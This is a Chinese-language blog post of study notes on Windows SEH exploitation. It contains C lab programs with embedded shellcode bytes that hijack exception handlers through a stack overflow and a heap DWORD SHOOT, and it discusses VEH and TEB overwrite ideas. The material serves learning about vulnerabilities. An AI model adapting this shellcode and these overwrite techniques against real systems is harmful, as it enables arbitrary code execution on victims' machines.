selph
selph
Published on 2022-03-26 / 673 Visits
0
0

漏洞学习--利用SEH异常机制

SEH简介

为了保证系统在遇到错误时不崩溃,Windows会对运行在其中的程序提供一次补救机会,就是异常处理机制

SEH:异常处理结构体(Structure Exception Handler)

每个SEH包括两个指针:SEH链表指针和异常处理函数句柄

image-20220301144119821

  • SEH结构体存放在系统栈中,当线程初始化的时,会自动向栈中安装一个SEH作为线程的默认异常处理
  • 程序中使用__try{}__except()Assert宏等异常处理机制,编译器会向当前函数栈帧中安装一个SEH来实现异常处理
  • 栈中一般会有多个SEH存在,栈中的多个SEH通过链表指针在栈内由栈顶向栈底串成单向链表,位于最顶端的SEH通过TEB的0字节偏移处指针标识
  • 当异常发生时,系统会中断程序,从TEB[0]取出离栈顶最近的SEH进行处理
  • 当发生异常处栈顶最近的异常处理函数运行失败,则将顺着SEH链一次尝试其他的异常处理函数
  • 如果所有异常处理函数都不能处理,则系统采用默认的异常处理函数(弹出信息框,强制关闭程序)

image-20220301144757109

SEH是程序异常后系统关闭程序之前,给程序一个执行预先设定的回调函数的机会

SEH存放于栈内,缓冲区溢出可能淹没,将SEH的处理函数地址更改为shellcode起始地址,溢出后,错误的栈帧或堆块数据往往会触发异常,Windows开始处理异常会错误的执行shellcode当成处理函数

在栈溢出中利用SEH

实验环境:Windows2000 + VC++6.0 + Release编译

实验代码:

#include <windows.h>
#include <stdio.h>

char shellcode[200] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 
};

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char *input)
{
	char buf[200];
	int zero = 0;
	__asm int 3
	__try
	{
		strcpy(buf, input);
		zero = 4 / zero;
	}
	__except(MyExceptionhandler()){}
}

int main()
{
	test(shellcode);
	return 0;
}

代码是经典的strcpy栈溢出+除零异常,通过SEH进行异常处理

这里的shellcode为200字节的0x90,主要是为了看看shellcode距离最近的SEH结构体的间隔:

image-20220301150744875

SEH位置:

image-20220301151042011

在栈中长这样:

image-20220301151356210

距离:0x12FF6C - 0x12FE98 = 0xD4 = 212字节

也就是说要填充212字节的shellcode,不够就补nop,然后再加上4字节的shellcode地址

实验代码:

#include <windows.h>
#include <stdio.h>

char shellcode[216] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
    0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
    0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
    0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
    0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
    0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
    0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
    0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
    0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
    0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
    0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
    0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
    0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
    0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
    0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
    0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
    0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
    0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
    0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
    0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 
	0x98, 0xFE, 0x12, 0x00 // Shellcode Address
};

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}

void test(char *input)
{
	char buf[200];
	int zero = 0;
	__try
	{
		strcpy(buf, input);
		zero = 4 / zero;
	}
	__except(MyExceptionhandler()){}
}

int main()
{
	test(shellcode);
	return 0;
}

除零异常会导致离栈顶最近的SEH中处理函数地址处代码被执行,处理函数地址被修改成了shellcode,则会执行shellcode,运行结果:

image-20220301151625075

在堆溢出中利用SEH

堆溢出利用DWORD SHOOT修改SEH处理函数地址

实验代码:

#include <windows.h>

char shellcode[] = {
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
    0x90, 0x90, 0x90, 0x90, 
	0xB8, 0x20, 0xF0, 0xFD, 0x7F, //MOV EAX,7FFDF020
	0xBB, 0x60, 0x20, 0xF8, 0x77, //MOV EBX,77F82060
	0x89, 0x18,					  //MOV [EAX],EBX
    0xFC, 0x68, 0x6A, 0x0A, 0x38, 0x1E, 0x68, 0x63,
    0x89, 0xD1, 0x4F, 0x68, 0x32, 0x74, 0x91, 0x0C,
    0x8B, 0xF4, 0x8D, 0x7E, 0xF4, 0x33, 0xDB, 0xB7,
    0x04, 0x2B, 0xE3, 0x66, 0xBB, 0x33, 0x32, 0x53,
    0x68, 0x75, 0x73, 0x65, 0x72, 0x54, 0x33, 0xD2,
    0x64, 0x8B, 0x5A, 0x30, 0x8B, 0x4B, 0x0C, 0x8B,
    0x49, 0x1C, 0x8B, 0x09, 0x8B, 0x69, 0x08, 0xAD,
    0x3D, 0x6A, 0x0A, 0x38, 0x1E, 0x75, 0x05, 0x95,
    0xFF, 0x57, 0xF8, 0x95, 0x60, 0x8B, 0x45, 0x3C,
    0x8B, 0x4C, 0x05, 0x78, 0x03, 0xCD, 0x8B, 0x59,
    0x20, 0x03, 0xDD, 0x33, 0xFF, 0x47, 0x8B, 0x34,
    0xBB, 0x03, 0xF5, 0x99, 0x0F, 0xBE, 0x06, 0x3A,
    0xC4, 0x74, 0x08, 0xC1, 0xCA, 0x07, 0x03, 0xD0,
    0x46, 0xEB, 0xF1, 0x3B, 0x54, 0x24, 0x1C, 0x75,
    0xE4, 0x8B, 0x59, 0x24, 0x03, 0xDD, 0x66, 0x8B,
    0x3C, 0x7B, 0x8B, 0x59, 0x1C, 0x03, 0xDD, 0x03,
    0x2C, 0xBB, 0x95, 0x5F, 0xAB, 0x57, 0x61, 0x3D,
    0x6A, 0x0A, 0x38, 0x1E, 0x75, 0xA9, 0x33, 0xDB,
    0x53, 0x68, 0x66, 0x66, 0x66, 0x66, 0x68, 0x66,
    0x66, 0x66, 0x66, 0x8B, 0xC4, 0x53, 0x50, 0x50,
    0x53, 0xFF, 0x57, 0xFC, 0x53, 0xFF, 0x57, 0xF8,
    0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,// nop
    0x16, 0x01, 0x1A, 0x00, 0x00, 0x10, 0x00, 0x00,// head of the ajacent free block
    0x88, 0x06, 0x52, 0x00, //shellcode Address
	0x90, 0x90, 0x90, 0x90  //SEH Hanlder
};
//0x0012FF30
DWORD MyExceptionhandler(void)
{
	ExitProcess(1);
	return 0;
}


int main(){
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	__asm int 3
	memcpy(h1,shellcode,0x200);
	__try{
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);      //DWORD SHOOT
	}
	__except(MyExceptionhandler()){}

	return 0;
}

代码和之前基本上一样,区别在于这次DWORD SHOOT的目标变成了SEH地址,这里先将最后要修改的地址设置成0x90909090,然后执行去找SEH的位置:运行程序,实时调试器接管之后,继续运行,直到DWORD SHOOT抛出异常,然后看SEH链:

image-20220301153002953

距离栈顶最近的是最上面的,跳转到堆栈里看看:

image-20220301153058040

需要修改的地址是0x0012ff30,将shellcode里地址改回去,然后删掉int3,再次运行,即可成功利用漏洞:

image-20220301153159707

深入了解Windows异常处理

不同级别的SEH

异常处理的最小作用域是线程,每个线程都有自己的SEH链,线程发生错误会先使用自身SEH处理

一个进程有很多线程,进程也有异常处理,线程SEH无法处理,进程SEH会继续处理

再往上看,操作系统也有自己的异常处理,进程处理不了,操作系统来处理

异常处理流程:

  1. 执行线程中距离栈顶最近的SEH异常处理函数
  2. 失败,尝试SEH链表后续的异常处理
  3. 失败,调用进程中的异常处理
  4. 失败,调用系统默认异常处理,把程序崩掉

线程的异常处理

线程中异常处理函数有4个参数:

  • pExcept:指向EXCEPTION_RECORD,包括了若干与异常相关的信息,异常的类型地址等
  • pFrame:指向栈帧中的SEH结构体
  • pContext:指向Context结构体,线程上下文信息
  • pDispatch:未知用途

返回值有两种:

  • 0:异常被成功处理,将返回原程序发生异常的地方继续执行后续指令
  • 1:异常处理失败,将按着SEH链找下一个异常处理函数

EXCEPTION_RECORD结构体:

typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;	
    DWORD ExceptionFlags;	// 异常标志位,
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

如果ExceptionCode被设置为0xC0000027,并且程序产生了异常,系统在遍历SEH链表时发现第三个句柄能成功处理错误,经过一系列操作后,前两个SEH被破坏,再次发生异常,fs:0所指SEH无效,异常处理机制自射将发生错误ExceptionFlags设置为2时,对回调函数的调用就属于unwind调用

如果ExceptionCode被设置为0xC0000027,ExceptionFlags设置为2,则对回调函数进行unwind调用

unwind操作通过kernel32.dll的RtlUnwind实现(然后转而调用ntdll.dll的同名函数)

异常发生时,系统顺着SEH链表搜索能处理异常的句柄,一旦找到了,会将已经遍历过的SEH处理函数再调用一遍,这个二轮调用就是unwind调用(用来释放资源)

unwind调用的主要目的就是让前面处理异常失败的SEH准备滚蛋,系统已经抛弃他们了,之后这些SEH会被从链表中踢掉

unwind操作就是为了避免在多次异常处理,甚至相互嵌套异常处理时,仍能使得异常处理机制稳定

进程的异常处理

进程的异常处理需要通过API进行注册:

LPTOP_LEVEL_EXCEPTION_FILTER
WINAPI
SetUnhandledExceptionFilter(
    _In_opt_ LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
    );

返回值:

  • 1:错误无法正确处理,程序退出
  • 0:无法处理,交给系统默认异常处理
  • -1:处理成功,继续执行

系统的默认异常处理UEF

系统默认异常处理函数:UnhandledExceptionFilter()

会检查注册表:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Auto表项,为1,不弹出对话框,为其他,弹出对话框

image-20220301161336318

异常处理流程总结

异常处理流程总结:

  • CPU执行时发生并捕获异常,内核接过进程的控制权,开始内核态异常处理
  • 内核异常处理结束,控制权还给用户层
  • 用户层第一个异常处理函数是ntdll.dll中的KiUserExceptionDispatcher()函数,会先检查程序是否被调试
    • 如果被调试,将异常交给调试器
    • 非调试状态下,调用RtlDispatchException函数对线程SEH进行遍历,如果找到能处理异常的回调函数,将再次遍历调用过的SEH,进行unwind操作
  • 如果栈中的SEH都失败了,且用户设置过SetUnhandledExceptionFilter()函数设定的进程异常处理,则调用
  • 如果进程异常处理失败,或用户没定义进程异常处理,则调用系统默认异常处理UnhandledExceptionFilter(),UEF会根据注册表信息决定是否弹出报错对话框

这是Windows 2000 平台的异常处理流程,Windows XP之后的操作系统流程大致相同,在遍历SEH之前会尝试新的异常处理类型VEH

其他异常处理机制的利用思路

VEH利用

从WindowsXP开始,多了个VEH异常处理

VEH和进程异常处理类似,基于进程的,且需要API注册回调函数,可以注册多个VEH,通过双向链表连接

PVOID AddVectoredExceptionHandler(
  ULONG                       First,
  PVECTORED_EXCEPTION_HANDLER Handler
);

VEH结构:

struct _VECTORED_EXCEPTION_NODE
{
    DWORD   m_pNextNode;    //指向下一个_VECTORED_EXCEPION_NODE结构,因此可用伪造的指针来覆盖它
    DWORD   m_pPreviousNode;    //指向上一个_VECTORED_EXCEPION_NODE结构
    PVOID   m_pfnVectoredHandler;  //异常处理函数
}

当异常发生的时候,因为VEH处理优先级高于SEH,仅次于调试器,KiUserExceptionDispatcher()会依次检查调试状态,VEH链表,SEH链表进行处理

注册VEH可以指定在链表中的位置,VEH保存在堆中

unwind只对栈帧中的SEH链起作用,不会干涉VEH这种进程类的异常处理

可以找到VEH头节点指针进行DWORD SHOOT,来引导执行shellcode

TEB简介

TEB是属于线程的,每个线程都有一个,每个线程创建的时候都会新增一个TEB结构,两个TEB之间间隔0x1000字节,当线程销毁了,TEB会被清理,当又新建新的线程了,会在空位创建TEB结构:

image-20220301163310214

攻击TEB中的SEH头节点

TEB的第一个成员(fs:[0])是指针,指向离栈顶最近的那个SEH,如果能修改TEB中的指针,异常发生时就可以将程序引导至shellcode中去执行

参考资料

《0day安全》第二版

《漏洞分析与利用》网课


Comment